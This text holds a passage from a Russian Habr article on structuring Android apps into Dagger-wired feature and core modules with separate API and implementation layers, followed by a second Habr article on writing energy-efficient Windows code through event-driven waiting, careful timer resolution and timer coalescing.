Вроде удобно. Но архитектурно получается не изолированно. Фичи Сканера и Антивора знают абсолютно все о фиче Покупки, все ее потроха. По неосторожности что-то может быть задействовано. То есть у фичи Покупки отсутствует четкий API, граница между фичами размытая, отсутствует четкий контракт. Это плохо. Ну и в многомодульность гредловую будет тяжело потом.
### Архитектурная боль
Честно признаюсь, долгое время я использовал **третий вариант.первый путь**. Это была вынужденная мера, когда мы наше легаси начали постепенно переводить на нормальные рельсы. Но, как я уже упоминал, при данном подходе ваши фичи начинают немного смешиваться. Каждый может знать о каждом, о деталях реализации и вот этом всем. И раздувание *AppComponent* явно говорило о том, что нужно что-то делать.
Кстати говоря, с разгрузкой именно *AppComponent* хорошо помог бы **третий вариант.второй путь**. Но вот знания об имплементациях и смешение фичей никуда не денутся. Ну и понятное дело, переиспользование фичей между приложениями было бы весьма непростым делом.
### Промежуточные выводы
Итак, что же в итоге нам хочется? Какие проблемы мы хотим решить? Давайте прямо по пунктам, начиная от DI и переходя к архитектуре:
* Удобный механизм DI, позволяющий использовать фичи в рамках других фичей (в нашем примере мы хотим в рамках Сканера и Антивора использовать фичу Покупок), без костылизации и боли.
* Тончайший AppComponent.
* Фичи не должны знать об имплементациях других фичей.
* Фичи не должны быть доступны по умолчанию кому угодно, хочется иметь какой-то строгий механизм контроля.
* Возможно отдать фичу в другое приложение с минимальным количеством телодвижений.
* Логичный переход на многомодульность и лучшие практики по этому переходу.
Я специально сказал про многомодульность только в самом конце. Мы дойдем до нее, не будем забегать вперед.
”Життя по-новому"
-----------------
Теперь мы с вами постараемся поэтапно реализовывать обозначенные выше хотелки.
Поехали!
### Улучшения DI
Начнем все с того же DI.
#### Отказ от большого количества скоупов
Как я писал выше, раньше мой подход был таким: на каждую фичу свой скоуп. На самом деле каких-либо особых профитов от этого нет. Только получаете большое количество скоупов и некоторое количество головной боли.
Вполне достаточно такой цепочки: *Singleton* — *PerFeature* — *PerScreen*.
#### Отказ от Subcomponents в пользу Component dependencies
Уже более интересный момент. С *Subcomponents* вы имеете вроде более строгую иерархию, но при этом у вас полностью связаны руки и нет возможности хоть как-то маневрировать. Кроме того, *AppComponent* знает обо всех фичах, и еще вы получаете огромный сгенерированный класс *DaggerAppComponent*.
С *Component dependencies* вы получаете одно суперкрутое преимущество. В зависимостях компонентов вы можете указывать **не компоненты, а чистые интерфейсы** (спасибо Денису и Володе). Благодаря этому вы можете подставлять какие угодно имплементации интерфейса, Даггер все съест. Даже если этой имплементацией будет компонент с таким же скоупом:
```
@Component(
dependencies = FeatureDependencies.class,
modules = FeatureModule.class
)
@PerFeature
public abstract class FeatureComponent {
// ...
}
public interface FeatureDependencies {
SomeDependency someDependency();
}
@Component(
modules = AnotherFeatureModule.class
)
@PerFeature
public abstract class AnotherFeatureComponent implements FeatureDependencies {
// ...
}
```
### От улучшений DI к улучшению архитектуры
Давайте еще раз повторим определение фичи. **Фича** — это логически законченный, максимально независимый модуль программы, решающий конкретную пользовательскую проблему, с четко обозначенными внешними зависимостями, и который относительно легко переиспользовать в другой программе. Одно из ключевых выражений в определении фичи — это «с четко обозначенными внешними зависимостями». Поэтому давайте все, что мы хотим от внешнего мира для фичи, будем описывать в специальном интерфейсе.
Вот, допустим, интерфейс внешних зависимостей фичи Покупки:
```
public interface PurchaseFeatureDependencies {
HttpClientApi httpClient();
}
```
Или интерфейс внешних зависимостей фичи Сканера:
```
public interface ScannerFeatureDependencies {
DbClientApi dbClient();
HttpClientApi httpClient();
SomeUtils someUtils();
// Фиче Сканера нужна возможность осществлять покупки
PurchaseInteractor purchaseInteractor();
}
```
Как уже было сказано в разделе о DI, зависимости могут имплементироваться кем угодно и как угодно, это же чистые интерфейсы, и наши фичи освобождены от этих лишних знаний.
Другая важная составляющая «чистой» фичи — это наличие четкого апи, по которому внешний мир может обращаться к фиче.
Вот апи фичи Покупки:
```
public interface PurchaseFeatureApi {
PurchaseInteractor purchaseInteractor();
}
```
То есть внешний мир может получить *PurchaseInteractor* и через него пробовать осуществить покупку. Собственно выше мы и увидели, что Сканеру нужен *PurchaseInteractor* для осуществления покупки.
А вот апи фичи Сканера:
```
public interface ScannerFeatureApi {
ScannerStarter scannerStarter();
}
```
И сразу привожу интерфейс и имплементацию *ScannerStarter*:
```
public interface ScannerStarter {
void start(Context context);
}
@PerFeature
public class ScannerStarterImpl implements ScannerStarter {
@Inject
public ScannerStarterImpl() {
}
@Override
public void start(Context context) {
Class cls = ScannerActivity.class;
Intent intent = new Intent(context, cls);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);
}
}
```
Тут интереснее. Дело в том, что Сканер и Антивор довольно замкнутые и изолированные фичи. В моем примере эти фичи запускаются на отдельных Активити, со своей навигацией и т. д. То есть нам здесь достаточно просто стартовать Активити. Умирает Активити — умирает и фича. Вы же можете работать по принципу “Single Activity”, и тогда через апи фичи передавать, допустим, FragmentManager и какой-нибудь колбек, через который фича сообщает, что она завершилась. Вариаций много.
Можно также сказать, что такие фичи, как Сканер и Антивор, мы в праве рассматривать как независимые приложения. В отличие от фичи Покупки, которая является фичей-дополнением к чему-либо и сама по себе как-то не особо может существовать. Да, она независимая, но является логичным дополнением к другим фичам.
Как вы догадываетесь, должна существовать какая-то точка, которая связывает апи фичи, ее имплементацию и необходимые фиче зависимости. Этой точкой является даггеровский компонент.
**Пример компонента фичи Сканера:**
```
@Component(modules = {
ScannerFeatureModule.class,
ScreenNavigationModule.class
// ScannerFeatureDependencies - api зависимостей фичи Сканера
}, dependencies = ScannerFeatureDependencies.class)
@PerFeature
// ScannerFeatureApi - api фичи Сканнера
public abstract class ScannerFeatureComponent implements ScannerFeatureApi {
private static volatile ScannerFeatureComponent sScannerFeatureComponent;
// классический синглтон
public static ScannerFeatureApi initAndGet(
ScannerFeatureDependencies scannerFeatureDependencies) {
if (sScannerFeatureComponent == null) {
synchronized (ScannerFeatureComponent.class) {
if (sScannerFeatureComponent == null) {
sScannerFeatureComponent = DaggerScannerFeatureComponent.builder()
.scannerFeatureDependencies(scannerFeatureDependencies)
.build();
}
}
}
return sScannerFeatureComponent;
}
// этот метод используется в модуле Скана для инжекта необходимых зависимостей
public static ScannerFeatureComponent get() {
if (sScannerFeatureComponent == null) {
throw new RuntimeException(
"You must call 'initAndGet(ScannerFeatureDependenciesComponent
scannerFeatureDependenciesComponent)' method"
);
}
return sScannerFeatureComponent;
}
// обнуление компонента фичи (когда активити Сканера умирает)
public void resetComponent() {
sScannerFeatureComponent = null;
}
public abstract void inject(ScannerActivity scannerActivity);
// для удобной инициализации Презентеров для скармливания их в Moxy
public abstract ScannerScreenComponent scannerScreenComponent();
}
```
Думаю, ничего нового для вас.
### Переход к многомодульности
Итак, нам с вами удалось четко обозначить границы фичи через апи ее зависимостей и внешнее апи. Также мы разобрались, как это все провернуть в Даггере. А теперь мы подходим к следующему логичному и интересному шагу — разбиению на модули.
Сразу открывайте [тестовый пример](https://github.com/matzuk/Clean-multimodel-arch) — дело пойдет проще.
Давайте посмотрим на картину в общем:
И еще посмотрим на структуру пакетов примера:
А теперь проговорим внимательно каждый пункт.
В первую очередь мы видим четыре больших блока: **Application**, **API**, **Impl** и **Utils**. В *API*, *Impl* и *Utils* вы можете заметить, что все модули начинаются или на **core-**, или на **feature-**. Давайте для начала поговорим про них.
#### Разделение на core и feature
Все модули я разделяю на две категории: *core-* и *feature-*.
В *feature-*, как вы могли догадаться, наши фичи. В **core-** находятся такие вещи, как утилиты, работа с сетью, бд и т. д. Но там нет каких-то интерфейсов фич. И *core* — не монолит. Я за разбиение *core-модуля* на логические кусочки и против загрузки его еще какими-то интерфейсами фич.
В названии модуля первым пишем *core* или *feature*. Далее в названии модуля идет логическое название (*scanner*, *network* и т.д.).
#### Теперь про четыре больших блока: Application, API, Impl и Utils
**API**
Каждый *feature-* или *core-модуль* разбивается на *API* и *Impl*. В *API* находится внешнее апи, через которое можно обращаться к фиче или core. Только это, и ничего более:
Кроме того, *api-модуль* ни о ком ничего не знает, это абсолютно изолированный модуль.
**Utils**
Единственным исключением из правила выше можно считать какие-то ну совсем утилитные вещи, которые разбивать на апи и имплементацию бессмысленно.
**Impl**
Тут у нас есть подразбиение на *core-impl* и *feature-impl*.
Модули в *core-impl* также абсолютно независимы. Единственная их зависимость — это *api-модуль*. Для примера взглянем на *build.gradle* модуля *core-db-impl*:
```
// bla-bla-bla
dependencies {
implementation project(':core-db-api')
// bla-bla-bla
}
```
Теперь про *feature-impl*. Тут уже находится львиная доля логики приложения. Модули группы *feature-impl* могут знать про модули группы *API* или *Utils*, но точно ничего не знают о других модулях группы *Impl*.
Как мы помним, все внешние зависимости фичи аккумулируются в апи внешних зависимостей. Например, для фичи Скана это апи выглядит следующим образом:
```
public interface ScannerFeatureDependencies {
// core-db-api
DbClientApi dbClient();
// core-network-api
HttpClientApi httpClient();
// core-utils
SomeUtils someUtils();
// feature-purchase-api
PurchaseInteractor purchaseInteractor();
}
```
Соответственно, *build.gradle feature-scanner-impl* будет таким:
```
// bla-bla-bla
dependencies {
implementation project(':core-utils')
implementation project(':core-network-api')
implementation project(':core-db-api')
implementation project(':feature-purchase-api')
implementation project(':feature-scanner-api')
// bla-bla-bla
}
```
Вы можете спросить, а почему апи внешних зависимостей не в апи-модуле? Дело в том, что это деталь имплементации. То есть именно конкретной имплементации нужны какие-то определенные зависимости. Для Сканера апи зависимостей находится вот здесь:
**Небольшое архитектурное отступление**
Давайте переварим все вышесказанное и уясним для себя некоторые архитектурные моменты, касающиеся *feature-...-impl-модулей* и их зависимостей от других модулей.
Я встречал два наиболее популярных паттерна выставления зависимостей для модуля:
* Модуль может знать о ком угодно. Никаких правил нет. Тут даже комментировать нечего.
* Модули знают только о *core-модуле*. А в *core-модуле* сосредоточены все интерфейсы всех фич. Такой подход мне не очень импонирует, так как есть риск превратить *core* в очередную помойку. Кроме того, если мы захотим перенести наш модуль в другое приложение, то должны будем скопипастить эти интерфейсы в другое приложение, и также его поместить в *core*. Сам по себе тупой копипаст именно интерфейсов не очень привлекателен и реюзабелен в дальнейшем, когда интерфейсы могут обновиться.
В нашем же примере я выступаю за знание модулями апи и только апи (ну и utils-группы). Фичи абсолютно ничего не знают об имплементациях.
Но получается, что фичи могут знать о других фичах (через api, конечно же) и их запускать. Не получится ли в итоге каша?
Справедливое замечание. Тут тяжело выработать какие-то суперчеткие правила. Во всем должна быть мера. Мы немного уже касались этого вопроса выше, разделяя фичи на независимые (Сканер и Антивор) — вполне независимые и обособленные, и фичи «в контексте», то есть запускаемые всегда в рамках чего-то (Покупка) и обычно подразумевающие под собой бизнес-логику без ui. Именно поэтому Сканер и Антивор знают о Покупках.
Другой пример. Представим, что в Антиворе есть такая штука, как wipe data, то есть очищение абсолютно всех данных с телефона. Там много бизнес-логики, ui, оно вполне обособлено. Поэтому логично выделить wipe data в отдельную фичу. И тут развилка. Если wipe data всегда запускается только с Антивора и всегда присутствует в Антиворе, то логично, чтобы Антивор знал бы о wipe data и самостоятельно запускал ее. А аккумулирующий модуль, app, знал бы тогда только об Антиворе. Но если wipe data может запускаться еще где-то или не всегда присутствует в Антиворе (то есть в разных приложениях может быть по-разному), то логично, чтобы Антивор не знал об этой фиче и просто говорил чему-то внешнему (через Router, через какой-то колбек, это неважно), что пользователь нажал такую-то кнопку, а что под ней запускать — это уже дело потребителя фичи Антивора (конкретное приложение, конкретный app).
Также еще есть интересный вопрос о переносе фичи в другое приложение. Если мы, допустим, захотим перенести Сканер в другое приложение, то мы должны также перенести помимо модулей *:feature-scanner-api* и *:feature-scanner-impl* и модули, от которых Сканер зависит (*:core-utils, :core-network-api, :core-db-api, :feature-purchase-api*).
Да, но! Во-первых, все ваши api-модули абсолютно независимы, и там только интерфейсы и модели данных. Никакой логики. И эти модули четко разделены логически, а *:core-utils* — обычно общий модуль для всех приложений.
Во-вторых, вы можете апи-модули собирать в виде aar и поставлять через мавен в другое приложение, а можете подключать в виде гитового саб-модуля. Но у вас будет версионирование, будет контроль, будет цельность.
Таким образом, переиспользование модуля (точнее модуля-имплементации) в другом приложении выглядит гораздо проще, понятнее и безопаснее.
#### Application
Вроде у нас вырисовывается стройная и понятная картина с фичами, модулями, их зависимостями и вот этим всем. Теперь мы подходим к кульминации — это соединение апи и их имплементаций, подставление всем необходимых зависимостей и т. д., но уже c точки зрения гредловых модулей. Точкой соединения служит обычно сам *app*.
Кстати, в нашем примере такой точкой еще является *feature-scanner-example*. Вышеописанный подход позволяет вам запускать каждую свою фичу как отдельное приложение, что сильно экономит время сборки во время активной разработки. Красота!
Рассмотрим для начала, как все через *app* происходит на примере уже полюбившегося Сканера.
**Быстро вспомним фичу:** Api внешних зависимостей Сканера такое:
```
public interface ScannerFeatureDependencies {
// core-db-api
DbClientApi dbClient();
// core-network-api
HttpClientApi httpClient();
// core-utils
SomeUtils someUtils();
// feature-purchase-api
PurchaseInteractor purchaseInteractor();
}
```
Поэтому *:feature-scanner-impl* зависит от следующих модулей:
```
// bla-bla-bla
dependencies {
implementation project(':core-utils')
implementation project(':core-network-api')
implementation project(':core-db-api')
implementation project(':feature-purchase-api')
implementation project(':feature-scanner-api')
// bla-bla-bla
}
```
На основе этого мы можем создать даггеровский компонент, имплементирующий api внешних зависимостей:
```
@Component(dependencies = {
CoreUtilsApi.class,
CoreNetworkApi.class,
CoreDbApi.class,
PurchaseFeatureApi.class
})
@PerFeature
interface ScannerFeatureDependenciesComponent extends ScannerFeatureDependencies { }
```
Данный интерфейс я разместил в *ScannerFeatureComponent* для удобства:
```
@Component(modules = {
ScannerFeatureModule.class,
ScreenNavigationModule.class
}, dependencies = ScannerFeatureDependencies.class)
@PerFeature
public abstract class ScannerFeatureComponent implements ScannerFeatureApi {
// bla-bla-bla
@Component(dependencies = {
CoreUtilsApi.class,
CoreNetworkApi.class,
CoreDbApi.class,
PurchaseFeatureApi.class
})
@PerFeature
interface ScannerFeatureDependenciesComponent extends ScannerFeatureDependencies { }
}
```
Теперь App. App знает обо всех необходимых ему модулях (*core-, feature-, api, impl*):
```
// bla-bla-bla
dependencies {
implementation project(':core-utils')
implementation project(':core-db-api')
implementation project(':core-db-impl')
implementation project(':core-network-api')
implementation project(':core-network-impl')
implementation project(':feature-scanner-api')
implementation project(':feature-scanner-impl')
implementation project(':feature-antitheft-api')
implementation project(':feature-antitheft-impl')
implementation project(':feature-purchase-api')
implementation project(':feature-purchase-impl')
// bla-bla-bla
}
```
Далее создаем вспомогательный класс. Например, *FeatureProxyInjector*. Он будет помогать правильно инициализировать все компоненты, и именно через этот класс мы будем обращаться к апи фичей. Давайте посмотрим, как у нас инициализируется компонент фичи Сканера:
```
public class FeatureProxyInjector {
// another...
public static ScannerFeatureApi getFeatureScanner() {
return ScannerFeatureComponent.initAndGet(
DaggerScannerFeatureComponent_ScannerFeatureDependenciesComponent.builder()
.coreDbApi(CoreDbComponent.get())
.coreNetworkApi(CoreNetworkComponent.get())
.coreUtilsApi(CoreUtilsComponent.get())
.purchaseFeatureApi(featurePurchaseGet())
.build()
);
}
}
```
Наружу мы отдаем интерфейс фичи (*ScannerFeatureApi*), а внутри как раз инициализируем весь граф зависимостей имплементации (через метод *ScannerFeatureComponent.initAndGet(...)*).
*DaggerPurchaseComponent\_PurchaseFeatureDependenciesComponent* — это сгенерированная Даггером имплементация *PurchaseFeatureDependenciesComponent*, про который мы говорили выше, где в билдер подставляем имплементации апи-модулей.
Вот и вся магия. Посмотрите еще раз [пример](https://github.com/matzuk/Clean-multimodel-arch).
Кстати, об *example*. В *example* мы также должны удовлетворить все внешние зависимости *:feature-scanner-impl*. Но так как это пример, то мы можем подставить классы-пустышки.
Как это будет выглядеть:
```
// создаем вот такую реализацию ScannerFeatureDependencies
public class ScannerFeatureDependenciesFake implements ScannerFeatureDependencies {
@Override
public DbClientApi dbClient() {
return new DbClientFake();
}
@Override
public HttpClientApi httpClient() {
return new HttpClientFake();
}
@Override
public SomeUtils someUtils() {
return CoreUtilsComponent.get().someUtils();
}
@Override
public PurchaseInteractor purchaseInteractor() {
return new PurchaseInteractorFake();
}
}
// и где-нибудь в Application-файле инициализируем граф
public class ScannerExampleApplication extends Application {
@Override
public void onCreate() {
super.onCreate();
ScannerFeatureComponent.initAndGet(
// да, Даггер отлично съедает это =)
new ScannerFeatureDependenciesFake()
);
}
}
```
А саму фичу Сканера в *example* запускаем через манифест, чтобы не городить дополнительных пустых активити:
```
xml version="1.0" encoding="utf-8"?
```
Алгоритм перехода с мономодульности на многомодульность
-------------------------------------------------------
Жизнь — суровая штука. И реальность такова, что работаем мы все с легаси. Если кто-то сейчас пилит новенький проект, где можно все сразу заправославить, то я тебе завидую, бро. Но у меня не так, и у того парня тоже не так =).
Как переводить ваше приложение на многомодульность? Я слышал в основном про два варианта.
Первый. Разбиение приложения на модули здесь и сейчас. Правда, у вас проект может месяц-другой вообще не собираться =).
Второй. Стараться вытаскивать фичи постепенно. Но заодно тянутся еще всякие зависимости этих фичей. И тут начинается самое интересное. Код зависимостей может тянуть еще другой код, все это дело мигрирует в *common-модуль*, в *core-модуль* и обратно, и так по кругу. В итоге вытягивание одной фичи может повлечь работу с еще доброй половиной приложения. И снова в начале ваш проект не будет собираться приличный отрезок времени.
Я выступаю за постепенный перевод приложения на многомодульность, так как нам параллельно нужно еще пилить новые фичи. Ключевая идея в том, что **если вашему модулю нужно что-то из зависимостей, не стоит сразу этот код физически также перетаскивать в модули**. Давайте рассмотрим алгоритм выноса модуля на примере Сканера:
* Создать апи фичи, поместить его в новый api-модуль. То есть полностью создать модуль *:feature-scanner-api* со всеми интерфейсами.
* Создать *:feature-scanner-impl*. В этот модуль физически перенести весь код, относящийся к фиче. Все, от чего зависит ваша фича, студия сразу подсветит.
* Выявить внешние зависимости фичи. Создать соответствующие интерфейсы. Эти интерфейсы разбить на логические api-модули. То есть в нашем примере создать модули *:core-utils, :core-network-api, :core-db-api, :feature-purchase-api* с соответствующими интерфейсами.
Советую все-таки сразу вкладываться в название и смысл модулей. Понятно, что с течением времени интерфейсы и модули могут немного перетасовываться, схлопываться и т. д., это нормально.
* Создать апи внешних зависимостей (*ScannerFeatureDependencies*). В зависимости *:feature-scanner-impl* прописать созданные недавно api-модули.
* Так как в *app* у нас находится все легаси, то вот что делаем. В *app* мы подключаем все созданные для фичи модули (api-модуль фичи, impl-модуль фичи, api-модули внешних зависимостей фичи).
**Супер важный момент**. Далее в *app* создаем имплементации всех необходимых интерфейсов зависимостей фичи (Сканера в нашем примере). Данные имплементации будут скорее просто проксями от ваших апи зависимостей к текущей реализации этих зависимостей в проекте. При инициализации компонента фичи подставляете данные имплементации.
Сложно словами, хотите пример? Так он уже есть! По сути что-то подобное уже есть в feature-scanner-example. Еще раз приведу его немного адаптированный код:
```
// создаем вот такую реализацию ScannerFeatureDependencies в app-модуле
public class ScannerFeatureDependenciesLegacy implements ScannerFeatureDependencies {
@Override
public DbClientApi dbClient() {
return new DbClientLegacy();
}
@Override
public HttpClientApi httpClient() {
// какое-то легаси
// главное, что мы имплементируем наш апи
return NetworkFabric.createHttpClientLegacy();
}
@Override
public SomeUtils someUtils() {
return new SomeUtils();
}
@Override
public PurchaseInteractor purchaseInteractor() {
return new PurchaseInteractorLegacy();
}
}
// и где-нибудь инициализируем граф
ScannerFeatureComponent.initAndGet(
new ScannerFeatureDependenciesLegacy()
);
```
То есть основной посыл здесь такой. Пусть весь необходимый для фичи внешний код живет в *app*, как и жил. А сама фича уже будет с ним работать по-нормальному, через апи (имеется в виду апи зависимостей и api-модули). В дальнейшем имплементации будут постепенно переезжать в модули. Но зато мы избежим бесконечной игры с перетаскиванием из модуля в модуль необходимого внешнего для фичи кода. Мы сможем двигаться четкими итерациями!
* Profit
Вот такой нехитрый, но работающий алгоритм, позволяющий двигаться к вашей цели шаг за шагом.
### Дополнительные советы
**Насколько большими/мелкими должны быть фичи?**
Все зависит от проекта и т.д. Но в начале перехода на многомодульность я советую дробить по крупным кускам. Далее уже при необходимости будете из этих модулей выделять еще модули. Но не мельчите. Не делайте вот это: один/несколько классов = один модуль.
**Чистота app-модуля**
При переходе на многомодульность *app* у нас будет довольно большим, и оттуда в том числе будут дергаться ваши выделенные фичи. Не исключено, что в ходе работ вам придется вносить правки в это легаси, что-то там допиливать, ну или у вас просто релиз, и вам не до распилов на модули. В этом случае вы хотите, чтобы *app*, а вместе с ним и все легаси, знали о выделенных фичах только через апи, никакого знания об имплементациях. Но ведь *app*, по сути, соединяет в себе *api-* и *impl-модули*, а потому *app* знает обо всех.
В этом случае вы можете создать специальный модуль *:adapter*, который как раз и будет соединительной точкой api и impl, а уже *app* тогда будет знать только об api. Думаю, идея понятна. Пример вы можете посмотреть в ветке [clean\_app](https://github.com/matzuk/Clean-multimodel-arch/tree/clean_app). Добавлю, что с Moxy, а точнее MoxyReflector, есть некоторые проблемы при дроблении на модули, из-за которых пришлось создать еще один дополнительный модуль *:stub-moxy-java*. Легкая щепотка магии, куда уж без нее.
Единственная поправка. Это сработает только тогда, когда ваша фича и соответствующие зависимости уже вынесены физически в другие модуля. Если вы вынесли фичу, но зависимости живут еще в *app*, как в алгоритме выше, то такое не получится.
Послесловие
-----------
Статья получилась немаленькой. Но я надеюсь, что она действительно поможет вам в борьбе с мономодульностью, осознанием, как это должно быть, и как это подружить с DI.
Если вам интересно погрузиться в проблему со скоростью сборки, как все мерить, то я рекомендую доклады Дениса Неклюдова и Жени Суворова (Mobius 2018 Piter, видео публично пока не доступны).
Про Gradle. Разницу между api и implementation в gradle отлично показал [Вова Тагаков](https://www.youtube.com/watch?v=pMEAD6jjbaI&feature=youtu.be). Хотите уменьшить бойлерплейт многомодульности, можно начать вот с [этой статьи](https://proandroiddev.com/reducing-boilerplate-in-gradle-multi-module-projects-2ff2dde5bf95).
Буду рад комментариям, поправкам, а также лайкам! Всем чистого кода! | https://habr.com/ru/post/422555/ | null | ru | null |
# Как создавать «зеленый» код
 Что такое энерго-эффективность в применении к мобильным платформам? Простыми словами это возможность сделать больше, затратив при этом меньше энергии.
Каждому пользователю хотелось бы как можно реже заряжать свое мобильное устройство, будь то смартфон, нетбук, ультрабук. Возможно, когда-нибудь наступит момент, когда устройство нужно будет зарядить всего один раз, после его покупки и пользоваться до тех пор пока оно не надоест или морально не устареет.
Если рассмотреть укрупненую модель любой мобильной платформы то она состоит и 3-х основных частей.
Аккумулятор
-----------
Является хранилищем энергии мобильного устройства. Производители аккумуляторов каждый год стараются увеличить емкость, уменьшить время полной зарядки.
Железо
------
Является основным прямым потребителем энергии. Тут прогресс тоже не стоит на месте. Производители «железа» создают все более энерго-эффективные чипы, выдающие большую производительность на Ватт потребленной энергии, добавляют различные режимы энергопотребления, позволяющие отключать неиспользуемое железо, переводить в режимы низкого энергопотребления, экономя тем самым батарею.
Софт
----
Является косвенным потребителем энергии. Напрямую софт ничего не потребляет, он вынуждает железо потреблять энергию. Здесь тоже есть свои методики, позволяющие продлить жизнь батареи. О проблеме энерго-эффективности софта я и хотел бы поговорить в данной статье.
Как именно софт влияет на потребление энергии? Если в двух словах — он не дает железу «спать».
Рассмотрим одного из крупных потребителей энергии в системе — процессор.
Процессор может управлять своим энергопотреблением с помощью, так называемых, *C-State*. Для тех, кто не знаком с этими режимами, привожу короткую справку:
*С0* — рабочее состояние процессора, подразделяется на различные P-States.
*C1* — состояние, когда процессор ничего не делает, но готов приступить к работе, правда с небольшой задержкой. Многие процессоры имеют различные вариации этого состояния.
*С2* — почти тоже самое, что и С1, но в этом состоянии процессор потребляет меньше энергии, и имеет большую задержку для перехода в рабочее состояние.
*С3* — состояние «сна», переходя в это состояние процессор очищает кэш второго уровня. Характеризуется меньшим энергопотреблением, и более долгим временем перехода в рабочее состояние.
… и так далее в зависимости от процессора.
Для того чтобы было более наглядно приведу иллюстрацию:
Самый энерго-эффективный вариант — процессор всегда спит. Значит самая эффективная, в плане энергозатрат программа, это та программа, которая не запущена и его не «будит». Она не производит никаких действий, и вообще ничего не потребляет. Но такой софт никому не нужен, программа должна делать что-то полезное. Компромисное решение — программа, которая не делает ничего тогда когда не должна ничего делать («будит» только по нужде), и если делает что-то, то делает это максимально быстро.
Особенно это касается программ, которые выполняют какие-либо действия в фоновом режиме. Эти программы должны спать всегда и просыпаться только при наступлении какого-либо события.
События рулят или Event-driven подход
-------------------------------------
Приведу пример «неправильного» кода (к сожалению, такой подход к написанию кода используется гораздо чаще, чем вы думаете). Данный пример кода служит для получения и данных из сокета, например, в каком-нибудь серверном приложении.
```
while(true)
{
// Получаем данные
result = recv(serverSocket, buffer, bufferLen, 0);
// Обработка полученных данных
if(result != 0)
{
HandleData(buffer);
}
// Спим секунду и повторяем
Sleep(1000);
}
```
Что же здесь «неправильного»? Есть данные или нет данных, код будет «будить» процессор каждые 1000 мс. Поведение кода напоминает осла из Шрека: «Уже приехали? А теперь приехали? А сейчас приехали?».
«Правильный» код, для данной задачи, не будет ни кого спрашивать, он уснет у будет ждать когда разбудят его. Для этого, во многих операционных системах, существуют объекты синхронизации, такие как события. С учетом сказанного код должен выглядеть так (код не полный, опущена обработка ошибок и кодов возврата, моя задача просто проиллюстрировать принцип):
```
WSANETWORKEVENTS NetworkEvents;
WSAEVENT wsaSocketEvent;
wsaSocketEvent = WSACreateEvent();
WSAEventSelect(serverSocket, wsaSocketEvent, FD_READ|FD_CLOSE);
while(true)
{
// Ждем наступления одного из событий - получения данных или закрытия сокета
WaitForSingleObject(wsaSocketEvent, INFINITE);
// Что произошло?
WSAEnumNetworkEvents(m_hServerSocket, wsaSocketEvent, &NetworkEvents);
// Пришли новые данные
if(NetworkEvents.lNetworkEvents & FD_READ)
{
// Читаем, обрабатываем
WSARecvFrom(serverSocket, &buffer, ...);
}
}
```
В чем прелесть примера выше? Он будет спать тогда, когда ему нечего делать.
Таймеры, будильники нашего кода
-------------------------------
Иногда без таймеров не обойтись, примеров масса — проигрывание аудио, видео, анимация.
Немного о таймерах. Интервал системного таймера Windows, по умолчанию, равен 15,6 мс. Что это означает для программ? Допустим вы хотите, чтобы выше приложение выполняло какое-то действие каждые 40 мс. Проходит первый интервал в 15,6 мс, слишком мало, проходит второй 31,1, опять рано, третий 46,8 — попали, таймер сработает. В большинстве случаев лишние 6,8 мс не имеют значения.
Так же прямое влияние на *Sleep*, если вы вызовете Sleep(1), при установленном интервале в 15,6 мс, то спать код будет не 1 мс, а все 15,6 мс.
Но если дело касается проигрывания видео — тогда это поведение не приемлемо. В этих случаях разработчик может изменить дискретность системного таймера вызвав функцию из Windows Multimedia API — timeBeginPeriod. Данная функция позволяет изменить период таймера вплоть до 1мс. Для кода это хорошо, но сильно сокращает жизнь батареи (вплоть до 25%).
Как найти компромисс? Все просто изменяйте период системного таймера только тогда, когда это действительно необходимо. Например, если вы разрабатываете приложение, использующее анимацию и вам нужна меньшая дискретность таймера меняйте таймер тогда, когда анимация отображается и происходит, и возвращайте если, например, окно свернуто или анимация остановлена.
С точки зрения пользователя иногда, чтобы понять как продлить жизнь от батареи будет интересна утилита [Powercfg](http://technet.microsoft.com/ru-ru/library/cc748940(WS.10).aspx). С ее помощью можно узнать какое-то приложение изменило период системого таймера, значение периода системного таймера, информацию о проблемах драйверов, не позволяющих переводить «железо» в режим низкого энерго потребления и т.д.
Объединение таймеров
--------------------
В Windows 7 появилась замечательная возможность объединять таймеры. Что это такое и как это работает представлено на рисунке ниже:
Т.е. Windows «подстраивает» таймеры приложений таким образом, чтобы они совпадали со срабатываниями таймера самой операционной системы.
Для того, чтобы использовать эту возможность необходимо вызвать
```
BOOL WINAPI
SetWaitableTimerEx(
__in HANDLE hTimer,
__in const LARGE_INTEGER *lpDueTime,
__in LONG lPeriod,
__in_opt PTIMERAPCROUTINE pfnCompletionRoutine,
__in_opt LPVOID lpArgToCompletionRoutine,
__in_opt PREASON_CONTEXT WakeContext,
__in ULONG TolerableDelay
);
```
Полное описание функции вы можете найти в [MSDN](http://msdn.microsoft.com/en-us/library/windows/desktop/dd405521(v=vs.85).aspx). В рамках данной статьи нас интересуют только параметр TolerableDelay, который определяет максимальное допустимое отклюнение от заданного интервала.
Более подробно о таймерах в Windows можно прочитать в статье [Timers, Timer Resolution, and Development of Efficient Code](http://msdn.microsoft.com/en-us/windows/hardware/gg463266.aspx)
Сделай это быстро
-----------------
Еще один способ сделать программу более энерго-эффективной это научить ее делать нужные вещи быстро, на сколько это возможно. Добиться этого можно, например, оптимизировав код, путем использования SSE, AVX и других аппаратных возможностей платформы. В качестве примера хочу привести использование Quick Sync в Sandy Bridge для кодирования и декодирования видео. На сайте [Tom's Hardware](http://www.tomshardware.com/reviews/sandy-bridge-core-i7-2600k-core-i5-2500k,2833-5.html) можно посмотреть результаты.
Допустим мы оптимизировали нашу программу, но насколько она теперь более энерго-эффективна, как это оценить? Очень просто — с помощью специальных программ и инструментов.
Инструменты для анализа энерго-эффективности
--------------------------------------------
1. [Intel Power Checker](http://software.intel.com/partner/app/software-assessment#ipc). Пожалуй самый простой и быстрый способ оценить энерго-эффективность своей программы.
Обзор и описание программы можно найти в блоге [ISN](http://software.intel.com/ru-ru/blogs/2010/08/11/intel-software-partner/)
2. [Intel Battery Life analyzer](http://downloadcenter.intel.com/Detail_Desc.aspx?agr=Y&DwnldID=19351)
Более сложный, но вместе с тем более информативный инструмент, служит для отслеживания различных активностей железа и софта, которые влияют на время работы от батареи.
3. [Joulemeter](http://research.microsoft.com/en-us/projects/joulemeter/default.aspx) от Microsoft
Тоже достаточно интересный инструмент, определяющий энергопотребление различных компонентов платформы. Может работать в связке с ваттметром [WattsUp](https://www.wattsupmeters.com/secure/products.php?pn=0).
Где узнать больше
-----------------
